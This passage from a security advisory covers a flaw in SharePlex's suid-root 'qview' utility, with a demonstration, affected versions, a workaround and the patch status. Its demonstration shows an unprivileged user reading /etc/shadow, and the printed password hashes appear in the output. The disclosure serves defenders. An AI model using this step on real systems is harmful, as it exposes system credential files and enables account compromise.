of utilities installed suid-root, and this may not be the only one that
contains vulnerabilities.
Demonstration
-
$ id
uid=500(foo) gid=200(bar)
$ cd path to shareplex binaries
$ ./qview
qdump cmd /etc/shadow
Executing: root:xDmyz1K9xRKRo:11236::
invalid command root:xDmyz1K9xRKRo:11236::
...
Executing: splex:BdJCfh1D32hzo:11290::
invalid command splex:BdJCfh1D32hzo:11290::
Executing: foo:2MQXUgAcnOcEU:11344::
invalid command foo:2MQXUgAcnOcEU:11344::
qdump quit
$
Vulnerable Versions
---
The same version of root.post is shipped for each of the supported unixes
(Solaris 2.6, HP/UX 10.20 11.00, AIX 3 and OSF/1 4.0). I would expect
qview to display the same behavior on each of these OSes, but I tested
only on Solaris 2.6.
I tested Shareplex 2.1.3.9 and 2.2.2 (Beta, 11/02/00).
Workaround
--
As currently implemented, qview needs to run as root in order to operate
correctly. However, the risk can be somewhat mitigated by changing the
permissions on qview to 4550, and making it group-owned by a group
containing only highly-trusted users. This is not a complete solution to
the problem, as any user who is still allowed to run qview can still
access files to which they should not have access under any circumstances
(such as the shadow file).
Vendor Notification/Patches
---
The vendor was notified on 2/2/2001.
The issue is patched in SharePlex 2.1.3.21 and above. The patched version of
qview seems to remove the offending fuctionality completely.
